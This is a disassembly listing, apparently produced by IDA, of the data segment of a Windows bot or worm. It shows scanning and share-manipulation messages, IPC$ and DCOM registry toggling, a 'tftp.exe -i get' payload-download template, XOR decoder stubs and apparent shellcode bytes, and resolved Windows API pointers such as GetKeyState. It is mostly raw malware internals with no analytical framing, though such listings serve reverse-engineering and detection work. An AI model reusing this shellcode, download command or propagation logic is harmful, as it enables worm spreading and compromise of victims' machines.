unk_4375D0	db    2			; DATA XREF: sub_41454F+41o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_437610	dd offset dword_437648	; DATA XREF: seg000:00414853o
					; sub_4149C4+17Ao
		align 8
		dd offset dword_437640
		align 10h
off_437620	dd offset dword_43763C	; DATA XREF: sub_4149C4+1E3o
		dd offset dword_437638
		dd offset dword_437634
		dd offset dword_437630
dword_437630	dd 5C3A44h						; seg002:0043762Co
dword_437634	dd 2444h	dword_437638	dd 5C3A43h	dword_43763C	dd 2443h	dword_437640	dd 494D4441h, 244Ehdword_437648	dd 24435049h, 0	unk_437650	db    2			; DATA XREF: seg000:00414985o
					; sub_4149C4+2D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_437694	db    2			; DATA XREF: seg000:0041496Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 10h
unk_4376D0	db    2			; DATA XREF: seg000:loc_414902o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 10h
unk_437710	db    2			; DATA XREF: seg000:004148FBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_437748	db    2			; DATA XREF: seg000:loc_41486Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_437788	db    2			; DATA XREF: seg000:00414868o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 10h
unk_4377C0	db    2			; DATA XREF: seg000:loc_4147D2o
					; sub_4149C4:loc_414AF2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_437804	db    2			; DATA XREF: seg000:loc_4147CBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_437854	db    2			; DATA XREF: seg000:loc_4147ADo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_43789C	db    2			; DATA XREF: seg000:004147A6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: seg000:0041478Do
					; sub_4149C4+EDo
		align 10h
unk_437900	db    2			; DATA XREF: seg000:00414731o
					; sub_4149C4+91o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_437944	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: seg000:loc_41470Do
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6964204Dh
		dd 6C626173h, 2E6465h
unk_437974	db    2			; DATA XREF: seg000:00414706o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: seg000:004146F4o
					; sub_4149C4+54o
		align 4
word_4379B8	dw 4Eh			; DATA XREF: seg000:004146D8r
		align 4
unk_4379BC	db    2			; DATA XREF: sub_4149C4+2C0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_2		db '%c:\',0             ; DATA XREF: sub_4149C4+22Ao
		align 4
aC_3		db '%c$',0              ; DATA XREF: sub_4149C4+219o
unk_437A00	db    2			; DATA XREF: sub_4149C4:loc_414B63o
					; sub_4149C4:loc_414C31o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_437A3C	db    2			; DATA XREF: sub_4149C4+198o
					; sub_4149C4+266o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_437A70	db    2			; DATA XREF: sub_4149C4:loc_414AEBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 10h
unk_437AC0	db    2			; DATA XREF: sub_4149C4:loc_414ACDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_437B08	db    2			; DATA XREF: sub_4149C4+102o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_437B58	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_4149C4:loc_414A31o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6E65204Dh
		dd 656C6261h, 2E64h
unk_437B88	db    2			; DATA XREF: sub_4149C4+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 10h
word_437BC0	dw 59h			; DATA XREF: sub_4149C4+38r
		align 4


loc_437BC4:				; DATA XREF: sub_414E72+C4o
		jmp	short loc_437BC8
; ---------------------------------------------------------------------------


loc_437BC6:				; CODE XREF: seg002:loc_437BC8p
		jmp	short loc_437BCD
; ---------------------------------------------------------------------------


loc_437BC8:				; CODE XREF: seg002:loc_437BC4j
		call	loc_437BC6


loc_437BCD:				; CODE XREF: seg002:loc_437BC6j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_437BD2	dw 0FFFFh		; DATA XREF: sub_414E72+CCw
		db 80h,	73h, 0Eh
byte_437BD7	db 0FFh			; DATA XREF: sub_414E72+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_437BDC:				; DATA XREF: sub_414E72+A2o
		jmp	short loc_437BE0
; ---------------------------------------------------------------------------


loc_437BDE:				; CODE XREF: seg002:loc_437BE0p
		jmp	short loc_437BE5
; ---------------------------------------------------------------------------


loc_437BE0:				; CODE XREF: seg002:loc_437BDCj
		call	loc_437BDE


loc_437BE5:				; CODE XREF: seg002:loc_437BDEj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_437BE9	db 0FFh			; DATA XREF: sub_414E72+AAw
		dw 7380h
		db 0Ch
byte_437BED	db 0FFh			; DATA XREF: sub_414E72+B0w
		dw 0E243h
		dd 0F9h
dword_437BF4	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_414CFB+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_437C58	dd 12h		aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_414CFB+79o
aJ_0		db 'j',0
		db 0E8h
dword_437C71	dd 17h		; ---------------------------------------------------------------------------
		jnz	short near ptr byte_437C78
		retn
; ---------------------------------------------------------------------------
byte_437C78	db 0E8h			; CODE XREF: seg002:00437C75j
dword_437C79	dd 1		byte_437C7D	db 0, 6Ah, 0		; DATA XREF: sub_414CFB+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_437C87	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_415207+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415207+35o
dword_437D08	dd 0BB0A91h			align 10h
dword_437D10	dd 173Fh			dd 9875h, 9873h
off_437D1C	dd offset sub_415F1B	; DATA XREF: sub_4177DAr
		dd offset nullsub_2
		dd offset nullsub_2
dword_437D28	dd 1B3Fh	dword_437D2C	dd 19930520h, 4	dup(0)					; sub_41641E+2o
off_437D40	dd offset sub_417818	; DATA XREF: sub_417BCE+1Cr
dword_437D44	dd 2							; sub_41CEF9+46r ...
off_437D48	dd offset aNull_0	; DATA XREF: sub_417D2C:loc_418090r
					; sub_417D2C+457r
					; "(null)"
off_437D4C	dd offset aNull		; DATA XREF: sub_417D2C+259r
					; "(null)"
off_437D50	dd offset word_437D5A	; DATA XREF: sub_4159B4+23r
					; sub_4159B4:loc_415A15r ...
		dd offset word_437D5A
		db 2 dup(0)
word_437D5A	dw 20h			; DATA XREF: sub_41E69D+18r
					; seg002:off_437D50o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_437F5C	dd 1							; sub_4159B4:loc_415A00r ...
byte_437F60	db 2Eh			; DATA XREF: sub_419EF8:loc_419F38r
					; sub_419F52+4r ...
		align 4
		dd 1, 10h
dword_437F6C	dd 3F8h							; sub_4174BF+4Dr ...
dword_437F70	dd 14h		off_437F74	dd offset aExp		; DATA XREF: sub_419C41:loc_419C5Er
					; "exp"
		dd 1Dh,	4217A4h, 1Ah, 4217A0h, 1Bh, 421798h, 1Fh, 421790h
		dd 13h,	421788h, 21h, 421780h, 0Eh, 421778h, 0Dh, 421770h
		dd 0Fh,	421768h, 10h, 421760h, 5, 421758h, 1Eh,	421754h
		dd 12h,	421750h, 20h, 42174Ch, 0Ch, 421744h, 0Bh, 42173Ch
		dd 15h,	421734h, 1Ch, 42172Ch, 19h, 421724h, 11h, 42171Ch
		dd 18h,	421714h, 16h, 42170Ch, 17h, 421704h, 22h, 421700h
		dd 23h,	4216FCh, 24h, 4216F8h
dbl_438048	dq 1.797693134862316e308 ; DATA	XREF: sub_41997C+B7r
					; sub_41997C:loc_419A63r ...
		dd 0
		dd 0FFF80000h
dbl_438058	dq 1.797693134862316e308 ; DATA	XREF: sub_41997C+92r
					; sub_41997C:loc_419A3Br ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_438070	dt 2.3562723457267347066e313 ; DATA XREF: sub_419E29+Dr
					; sub_419E29+1Fr
		align 4
tbyte_43807C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419E29+31r
		align 4
off_438088	dd offset sub_41A2BD	; DATA XREF: sub_415F33+Fw
					; sub_417D2C+3AAr
off_43808C	dd offset sub_419F52	; DATA XREF: sub_415F33+5w
					; sub_417D2C+3E2r
off_438090	dd offset sub_419FB8	; DATA XREF: sub_415F33+14w
					; sub_41AD1D+430r
off_438094	dd offset sub_419EF8	; DATA XREF: sub_415F33+1Ew
					; sub_417D2C+3CBr
off_438098	dd offset sub_419FA0	; DATA XREF: sub_415F33+28w
off_43809C	dd offset sub_41A2BD	; DATA XREF: sub_415F33+32w
		dd offset sub_41DEE2
		align 10h
		dd offset sub_41AB7C
off_4380B4	dd offset sub_41AB7C	; DATA XREF: sub_41ABD2+29r
dword_4380B8	dd 0D2D0920h, 5Dhdword_4380C0	dd 5Dh,	0	byte_4380C8	db 1			; DATA XREF: seg000:0041C081r
		db 2, 4, 8
		align 10h
dword_4380D0	dd 3A4h		dword_4380D4	dd 82798260h, 21h, 0dword_4380E0	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4381C0	dd 1							; sub_41C5B7+Co
dword_4381C4	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_438328	dd 0C0000005h						; sub_41C75F+Ar ...
dword_43832C	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4383A0	dd 3							; sub_41F277+C8r
dword_4383A4	dd 7							; sub_41F277+CDr
dword_4383A8	dd 0Ah							; sub_41F3A4+4r
dword_4383AC	dd 8Ch							; seg000:0041C6ADw ...
dword_4383B0	dd 0FFFFFFFFh, 0A00h					; sub_41B890:loc_41B911o
dword_4383B8	dd 2							; sub_41CEF9+28r
off_4383BC	dd offset aR6002FloatingP ; DATA XREF: sub_41CEF9+FCr
					; sub_41CEF9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 421AC4h, 9, 421A98h, 0Ah,	421A74h, 10h, 421A48h
		dd 11h,	421A18h, 12h, 4219F4h, 13h, 4219C8h, 18h, 421990h
		dd 19h,	421968h, 1Ah, 421930h, 1Bh, 4218F8h, 1Ch, 4218D0h
		dd 78h,	4218C0h, 79h, 4218B0h, 7Ah, 4218A0h, 0FCh, 4269C4h
		dd 0FFh, 421890h
off_438448	dd offset dword_469780	; DATA XREF: sub_41CEF9+1Bo
					; sub_41D0B6+55o
		align 10h
		dd offset dword_469780
		dd 101h
dword_438458	dd 0FFFFFFFFh, 0		dd 1000h, 0
dword_438468	dd 3 dup(0)						; sub_418796+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_438488	dd 3 dup(0)						; sub_418796:loc_4187B4o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4384B8	dd 84h dup(0)	dword_4386C8	dd 2694h						; sub_419631+46r ...
		align 10h
dword_4386D0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_4386E8	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_438700	dd 7080h						; sub_41E142+5Ew ...
dword_438704	dd 1							; sub_41E142+8Bw ...
dword_438708	dd 0FFFFF1F0h						; sub_41E142+94w ...
dword_43870C	dd 545350h, 0Fh	dup(0)dword_43874C	dd 544450h, 0Fh	dup(0)off_43878C	dd offset dword_43870C	; DATA XREF: sub_41E142+BAr
					; sub_41E142+D9r ...
off_438790	dd offset dword_43874C	; DATA XREF: sub_41E142+F4r
					; sub_41E142+11Br ...
		align 8
dword_438798	dd 0FFFFFFFFh						; sub_41E3A0+1Er ...
dword_43879C	dd 0							; sub_41E54C+BFw
dword_4387A0	dd 0							; sub_41E54C+E0w
		align 8
dword_4387A8	dd 0FFFFFFFFh						; sub_41E3A0+26r ...
dword_4387AC	dd 0							; sub_41E54C+EAw ...
dword_4387B0	dd 0							; sub_41E54C+23r ...
dword_4387B4	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_4387E4	dd 16Dh							; sub_41E54C+2Er ...
dword_4387E8	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_438820	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_438980	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41F6FC+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_438AE0	dd offset off_421CB4	; DATA XREF: seg001:off_421CD8o
					; seg001:00421E04o ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_438AF8	dd offset off_421CB4	; DATA XREF: seg001:off_421CF0o
					; seg001:00421D84o ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_438B18	dd offset off_421CB4	; DATA XREF: seg001:off_421D08o
					; seg001:00421D4Co ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_438B38	dd offset off_421CB4	; DATA XREF: seg001:off_421D90o
					; seg001:00421DD4o ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_438B58	dd offset off_421CB4	; DATA XREF: seg001:off_421E10o
					; seg001:00421E4Co
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41DEE2
		dd 109h	dup(0)
dword_438F98	dd 0		byte_438F9C	db 0			; DATA XREF: sub_402FDD+36r
					; sub_4030C0+37r ...
		align 10h
dword_438FA0	dd 7A5h							; sub_4036EB+30r ...
		dd 2 dup(0)
dword_438FAC	dd 2 dup(0)	dword_438FB4	dd 0							; seg000:004129ACo ...
dword_438FB8	dd 0							; sub_4059F0+51r ...
dword_438FBC	dd 0							; seg000:0040494Cr ...
		dd 2 dup(0)
dword_438FC8	dd 0							; sub_407636+92w ...
dword_438FCC	dd 0							; sub_407983+D9w ...
		dd 256h	dup(0)
dword_439928	dd 7 dup(0)						; sub_40776F+138o ...
dword_439944	dd 83h dup(0)	dword_439B50	dd 0		dword_439B54	dd 0				dd 24h dup(0)
dword_439BE8	dd 0							; seg000:00407588o
dword_439BEC	dd 0A2h	dup(0)	dword_439E74	dd 41h dup(0)	dword_439F78	dd 0							; seg000:0040753Br
		align 10h
dword_439F80	dd 0							; seg000:0040759Ar
dword_439F84	dd 0		dword_439F88	dd 0		dword_439F8C	dd 0				dd 0
dword_439F94	dd 0				dd 0AAh	dup(0)
dword_43A240	dd 77F16E6Fh	; resolved to->GDI32.DeleteDC					; sub_4089D6+4CDr
dword_43A244	dd 7C864230h	; resolved to->KERNEL32.Module32First					; sub_413DB8+F5r
dword_43A248	dd 42C5AE03h	; resolved to->WININET.InternetGetConnectedStateExA					; sub_4089D6+862r ...
dword_43A24C	dd 5B894364h						; sub_4089D6+A18r ...
dword_43A250	dd 5B86FEB8h						; sub_4089D6+9E8r ...
dword_43A254	dd 77F15B80h	; resolved to->GDI32.SelectObject					; sub_4089D6+4BDr
dword_43A258	dd 7E41C505h	; resolved to->USER32.GetKeyState					; seg000:00402304r ...
dword_43A25C	dd 5B894160h						; sub_4089D6+A10r ...
dword_43A260	dd 77DEB88Ch	; resolved to->ADVAPI32.OpenServiceA					; sub_4089D6+3A9r ...
dword_43A264	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA					; sub_40AAB5+11Er
